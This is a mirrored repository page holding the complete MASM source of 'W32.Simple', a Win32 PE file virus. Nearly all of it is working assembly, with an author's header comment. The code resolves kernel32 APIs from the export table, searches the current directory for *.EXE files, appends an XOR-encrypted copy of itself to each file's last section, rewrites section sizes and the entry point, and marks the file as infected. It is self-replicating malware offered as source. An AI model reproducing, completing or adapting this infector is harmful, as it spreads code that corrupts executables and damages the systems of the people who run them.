mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
330 lines
16 KiB
NASM
330 lines
16 KiB
NASM
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; [ W32.Simple by XXXXXX ]
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; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
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; THIS IS A VERY SMALL AND SIMPLE WIN32 PE INFECTOR.. IT INFECTS ONLY
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; FILES IN THE CURRENT DIRECTORY. THIS VIRUS IS NOT SUPOSED TO BE IN
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; THE WILD SO I DON'T WANTED TO INCLUDE WINDIR INFECTION OR DIRECTORY
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; TRAVERSEL... I JUST WANTED TO WRITE A SMALL STABILE WIN32 VIRUS :)
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; THERE'S NOT MUCH TO MENTION ABOUT THIS EXEPT A FEW THINGS: I DON'T
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; USE FILE-MAPPING, LOOK WHY BELLOW. ALL THE ROUTINES ARE NOT COPIED
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; FROM SOMEONE ELSE. COZ THIS IS MY FIRST WIN32 VIRUS I READ A COUPLE
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; OF TUTORS BUT THE THING IS I TRIED TO UNDERSTAND THINGS INSTEAD OF
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; JUST PASTE CODE. I TRIED MY BEST IN OPTIMIZING COMMON STRUCTURES
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; LIKE INFECTION AND EXPORT-TABLE SCANNING. THE ENCRYPTION IS LAME AS
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; FUCK... SO... IT'S JUST MY FIRST VIRUS DON'T EXPECT TO MUCH :)
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; PLEASE WRITE TO [XXXXXX@GMX.NET] XXXXXX
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; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
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.486
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.MODEL FLAT, STDCALL
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OPTION CASEMAP:NONE
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INCLUDE \MASM32\INCLUDE\KERNEL32.INC
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INCLUDELIB \MASM32\LIB\KERNEL32.LIB
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VIRUS_SIZE EQU VIRUS_END - VIRUS_START
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MAX_PATH EQU 104H
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OF_READ EQU 000H
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GHND EQU 002H OR 040H
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FILE_ATTRIBUTE_NORMAL EQU 080H
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.CODE
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FIRST_GEN:
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PUSH 0
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CALL ExitProcess
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VIRUS_START:
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PUSHAD
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CALL DELTA
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DELTA: POP EBP
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SUB EBP, DELTA ; EBP = DELTA OFFSET
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XOR_KEY:MOV DH,0 ; WILL BE PATCHED LATER...
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LEA ESI, [ EBP + E_START ] ; SO NO XOR EDX, EDX :)
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PUSH ESI
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MOV ECX, VIRUS_END - E_START
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;________________ _ _ _ [ -ENCRYPT- ] _ _ _ __
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ENCRYPT:XOR BYTE PTR [ ESI ], DH ; EN/DE-CRYPTS THE VIRUS_BDY
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ROL DH, 1 ; VERY LAME I KNOW...
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INC ESI
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DEC ECX
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JNZ ENCRYPT
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RET
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E_START:CALL GET_KERNEL ; GET KERNEL BASE
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MOV ECX, 14
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LEA ESI, [ EBP + ___KERNEL32 ]
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CALL GET_APIS ; GET KERNEL API'S
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CALL INFECT_DIR ; INFECT SOME FILES
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ERR_EXT:POPAD
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HRETURN:PUSH DWORD PTR OFFSET FIRST_GEN ; RETURN TO HOST
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RET ; WILL BE PATCHED LATER
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;________________ _ _ _ [ -GET_KERNEL- ] _ _ _ __
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GET_KERNEL: ; RETURNS THE KERNEL BASE
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MOV ECX, [ ESP + 9 * 4 ] ; SIMPLE BUT SMALL :)
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@@: DEC ECX
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MOVZX EDX, WORD PTR [ ECX + 03CH ] ; EDX = POINTER TO PE_HDR
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CMP ECX, [ ECX + EDX + 034H ] ; COMPARE CURRENT BASE WITH
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JNZ @B ; THE KERNEL IMAGE_BASE (MZ)
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MOV [ EBP + _KERNEL ], ECX ; STORE RESULT
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MOV [ EBP + _DEFAULT ], ECX
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RET
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;________________ _ _ _ [ -GET_APIS- ] _ _ _ __
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GET_APIS: ; SCANS THROUGHT API TABLE
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INC ESI ; AND RETURNS ADDRESSES
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PUSH ECX
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CALL GET_API ; SEARCH API ADDRESS
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POP ECX
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MOVZX EBX, BYTE PTR [ ESI - 1 ]
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ADD ESI, EBX ; STORE ADDRESS IN THE
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MOV [ ESI ], EAX ; API TABLE...
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ADD ESI, 4
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LOOP GET_APIS ; NEXT ONE
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RET
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;________________ _ _ _ [ -GET_API- ] _ _ _ __
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GET_API: ; SCANS FOR A SINGLE API ADR
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MOV EDX, [ EBP + _DEFAULT ] ; EDX = DEFAULT MODULE BASE
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ADD EDX, [ EDX + 03CH ] ; + OFFSET PE_HEADER
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MOV EDX, [ EDX + 078H ] ; EDX = PTR EXPORT_DIR RVA
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ADD EDX, [ EBP + _DEFAULT ] ; + BASE
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MOV EDI, [ EDX + 020H ] ; EDI = PTR ADDRESS_OF_NAMES RVA
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ADD EDI, [ EBP + _DEFAULT ] ; + BASE
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MOV EDI, [ EDI ] ; EDI = PTR ADR_OF_NAMES RVA
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ADD EDI, [ EBP + _DEFAULT ] ; + BASE
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MOV EAX, [ EDX + 018H ] ; EAX = NUMBER_OF_NAMES
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XOR EBX, EBX
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NXT_ONE:INC EBX
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MOVZX ECX, BYTE PTR [ ESI - 1 ] ; LENGHT OF SPEZIFED API NAME
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PUSH ESI
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PUSH EDI
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REPZ CMPSB ; COMPARE API NAME WITH
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POP EDI ; EXPORT ENTRY
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POP ESI
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JZ FOUND
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PUSH EAX
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XOR AL, AL
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SCASB ; GET NEXT ONE
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JNZ $ - 1
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POP EAX
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DEC EAX ; DECREASE NUMBER_OF_NAMES
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JZ ERR_EXT
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JMP NXT_ONE
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FOUND: MOV ECX, [ EDX + 024H ] ; ECX = PTR NBR_NAME_ORDS RVA
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ADD ECX, [ EBP + _DEFAULT ] ; + BASE
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DEC EBX
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MOVZX EAX, WORD PTR [ ECX + EBX * 2 ] ; EAX = ORDINAL OF FUNCTION
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MOV EBX, [ EDX + 01CH ] ; EBX = PTR ADR_OF_FUNCTIONS RVA
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ADD EBX, [ EBP + _DEFAULT ] ; + BASE
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MOV EAX, [ EBX + EAX * 4 ] ; EAX = FUNCTION RVA!!!!
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ADD EAX, [ EBP + _DEFAULT ] ; + BASE
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RET
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;________________ _ _ _ [ -INFECT_DIRECTORY- ] _ _ _ __
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INFECT_DIR: ; SEARCH ALL EXECUTABLES IN
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LEA EAX, [ EBP + W32FINDDATA ] ; THE SPEZIFED DIRECTORY
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PUSH EAX
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LEA EAX, [ EBP + FILE_MASK ]
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PUSH EAX
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CALL [ EBP + _FINDFIRSTFILE ]
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INC EAX
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JZ _S_OUT
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DEC EAX
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MOV [ EBP + S_HANDLE ], EAX
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_S_SCAN:
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CMP [ EBP + FILESIZEH ], 0 ; ONLY FILES UNDER 4 GIGS...
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JNZ _NEXT
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CALL INFECT_FILE ; PE FOUND SO INFECT IT!
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_NEXT:
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LEA EAX, [ EBP + W32FINDDATA ]
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PUSH EAX
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PUSH [ EBP + S_HANDLE ]
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CALL [ EBP + _FINDNEXTFILE ]
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TEST EAX, EAX
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JNZ _S_SCAN
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_S_CLOSE:
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PUSH [ EBP + S_HANDLE ]
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CALL [ EBP + _FINDCLOSE ]
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_S_OUT: RET
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;________________ _ _ _ [ -OPEN_FILE- ] _ _ _ __
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INFECT_FILE: ; OPENS A FILE AND ALLOCATE MEM
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PUSH FILE_ATTRIBUTE_NORMAL ; I DON'T USE FILEMAPPING COZ
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LEA EAX, [ EBP + FILENAME ] ; I SIMPLY HATE IT... IMAGINE
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PUSH EAX ; YOU MAP A FILE AND BEGIN TO
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CALL [ EBP + _SETFILEATTRIBUTES ] ; MAKE THE FIRST CHANGES, NOW
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; YOU REALIZE THE PE IS NOT
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PUSH OF_READ ; VALID OR CORRUPTED (PACKED
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LEA EAX, [ EBP + FILENAME ] ; FILES OR SOME MS PE'S
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PUSH EAX ; [OUTLOOK])... THIS PE SHOULD
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CALL [ EBP + __LOPEN ] ; BE HISTORY NOW :) I USED IT
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MOV [ EBP + FILEHANDLE ], EAX ; BEFORE AND MUST SAY THAT
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MOV EAX, [ EBP + FILESIZE ] ; I HAD TONS OF PROBLEMS WITH
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ADD [ EBP + MAPSIZE ], EAX ; THIS TECHNIQUE...
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PUSH [ EBP + MAPSIZE ]
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PUSH GHND
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CALL [ EBP + _GLOBALALLOC ]
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MOV [ EBP + H_BUFFER ], EAX
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PUSH EAX
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CALL [ EBP + _GLOBALLOCK ] ; ALLOCATE MEM FOR THE FILE +
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TEST EAX, EAX ; VIRUS_BODY
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JZ _EXIT
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MOV [ EBP + M_BUFFER ], EAX
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PUSH [ EBP + FILESIZE ]
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PUSH [ EBP + M_BUFFER ]
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PUSH [ EBP + FILEHANDLE ]
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CALL [ EBP + __LREAD ] ; READ ENTIRE FILE TO BUFFER
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PUSH [ EBP + FILEHANDLE ]
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CALL [ EBP + __LCLOSE ]
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;________________ _ _ _ [ -INFECT_FILE- ] _ _ _ __
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MOV EDI, [ EBP + M_BUFFER ] ; EDI = POINTER TO MEM BLOCK
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CMP WORD PTR [ EDI ], "ZM" ; DO SOME CHECKS (MZ/PE/INFMARK)
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JNZ _EXIT
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ADD EDI, [EDI + 03CH] ; EDI = POINTER TO PE_HDR
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CMP WORD PTR [ EDI ], "EP"
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JNZ _EXIT
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CMP DWORD PTR [ EDI + 04CH ], 0
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JNZ _EXIT
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; RETURN LAST SECTION
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MOV ECX, [ EDI + 074H ] ; ECX = NUMBER_OF_RVA_AND_SIZES
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LEA ECX, [ ECX * 8 + EDI ] ; x 8 + OFFSET PE_HEADER
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MOVZX EAX, WORD PTR [ EDI + 006H ] ; EAX = NUMBER_OF_SECTIONS
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DEC EAX ; - 1
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LEA EBX, [ EAX + EAX * 4 ] ; EBX = EAX x 28H
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LEA EBX, [ EBX * 8 ] ; ...
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LEA EBX, [ EBX + ECX + 078H ] ; EBX = EBX + ECX + 078H
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MOV EAX, VIRUS_SIZE
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XADD [ EBX + 008H ], EAX ; CHANGE VIRTUALSIZE
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CMP EAX, [ EBX + 010H ]
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JA _EXIT
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PUSH EAX
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PUSH DWORD PTR [ EBX + 010H ]
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ADD EAX, VIRUS_SIZE
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XOR EDX, EDX
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MOV ECX, [ EDI + 03CH ]
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DIV ECX
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INC EAX
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IMUL EAX, ECX
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MOV [ EBX + 010H ], EAX ; CHANGE SIZE_OF_RAW_DATA
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POP ECX
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MOV EAX, [ EBX + 010H ]
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SUB EAX, ECX ; CHANGE SIZE_OF_IMAGE
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ADD [ EDI + 050H ], EAX
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; CHANGE ATTRIBS & INFMARK
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OR DWORD PTR [ EBX + 024H ], 0C0000000H
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MOV DWORD PTR [ EDI + 04CH ], 'BDHP'
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POP EAX
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ADD EAX, [ EBX + 00CH ]
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XCHG [ EDI + 028H ], EAX ; CHANGE ENTRY_POINT
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ADD EAX, [ EDI + 034H ]
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MOV EDI, [ EBX + 014H ] ; VIRUS_POS = VIRT_ADR +
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ADD EDI, [ EBX + 008H ] ; VIRT_SIZE
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MOV ECX, VIRUS_SIZE
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SUB EDI, ECX
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ADD EDI, [ EBP + M_BUFFER ]
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LEA ESI, [ EBP + VIRUS_START ]
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REP MOVSB ; WRITE VIRUS_BODY TO BUFFER
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;________________ _ _ _ [ -CLOSE_FILE- ] _ _ _ __
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ADD BYTE PTR [ EBP + XOR_KEY + 1 ], 10
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MOV DH, BYTE PTR [ EBP + XOR_KEY + 1 ]
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MOV BYTE PTR [ EDI - ( VIRUS_END - XOR_KEY ) + 1 ], DH
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MOV [ EDI - ( VIRUS_END - HRETURN ) + 1 ], EAX
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LEA ESI, [ EDI - ( VIRUS_END - E_START ) ]
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MOV ECX, VIRUS_END - E_START
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CALL ENCRYPT ; ENCRYPT VIRUS_BODY
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PUSH 0 ; TRUNCATE FILE AND OPEN
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LEA EAX, [ EBP + FILENAME ] ; FILE FOR WRITE ACCESS
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PUSH EAX ; (FILE ATTRIBS ARE SET ABOVE)
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CALL [ EBP + __LCREAT ]
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INC EAX
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JZ _EXIT
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MOV EAX, [ EBX + 014H ] ; FILESIZE = VIRT_ADR +
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ADD EAX, [ EBX + 010H ] ; SIZE_OF_RAW_DATA
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PUSH EAX
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PUSH [ EBP + M_BUFFER ] ; WRITE BUFFER TO FILE...
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PUSH [ EBP + FILEHANDLE ] ; CLOSE FILE...
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CALL [ EBP + __LWRITE ] ; GET RID OF THOSE MEMORY
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PUSH [ EBP + FILEHANDLE ] ; POINTERS AND FREE MEMORY...
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CALL [ EBP + __LCLOSE ] ; SET OLD FILE ATTRIBUTES
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_EXIT: PUSH [ EBP + M_BUFFER ]
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CALL [ EBP + _GLOBALUNLOCK ]
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PUSH [ EBP + H_BUFFER ]
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CALL [ EBP + _GLOBALFREE ]
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PUSH [ EBP + F_OATTRIBS ]
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LEA EAX, [ EBP + FILENAME ]
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PUSH EAX
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CALL [ EBP + _SETFILEATTRIBUTES ]
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RET
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;________________ _ _ _ [ -VIRUS_DATA- ] _ _ _ __
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___KERNEL32: ;
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DB 06,"_lopen" ; API TABLE
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__LOPEN DD 0 ; WILL BE FILLED UP WITH ADR'S
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DB 06,"_lread" ; FROM A SPEZIFED MODULE-EXPORT
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__LREAD DD 0 ; TABLE (IN THIS CASE KERNEL32)
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DB 07,"_lwrite"
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__LWRITE DD 0
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DB 07,"_lclose"
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__LCLOSE DD 0
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DB 07,"_lcreat"
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__LCREAT DD 0
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DB 11,"GlobalAlloc"
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_GLOBALALLOC DD 0
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DB 10,"GlobalLock"
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_GLOBALLOCK DD 0
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DB 12,"GlobalUnlock"
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_GLOBALUNLOCK DD 0
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DB 10,"GlobalFree"
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_GLOBALFREE DD 0
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DB 13,"FindFirstFile"
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_FINDFIRSTFILE DD 0
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DB 12,"FindNextFile"
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_FINDNEXTFILE DD 0
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DB 09,"FindClose"
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_FINDCLOSE DD 0
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DB 17,"SetFileAttributes"
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_SETFILEATTRIBUTES DD 0
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DB 17,"GetFileAttributes"
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_GETFILEATTRIBUTES DD 0
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_KERNEL DD 0 ; BASE PLACEHOLDERS
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_DEFAULT DD 0
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MAPSIZE DD VIRUS_SIZE + 1000H
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FILEHANDLE DD 0
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H_BUFFER DD 0
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M_BUFFER DD 0
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W32FINDDATA: ; WIN32_FIND_DATA STRUC
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F_OATTRIBS DD 0
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DD 6 DUP ( 0 )
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FILESIZEH DD 0
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FILESIZE DD 0
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DD 2 DUP ( 0 )
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FILENAME DB MAX_PATH DUP ( 0 )
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DB 14 DUP ( 0 )
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S_HANDLE DD 0
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FILE_MASK DB "*.EXE", 0
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VIRUS_END:
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END VIRUS_START
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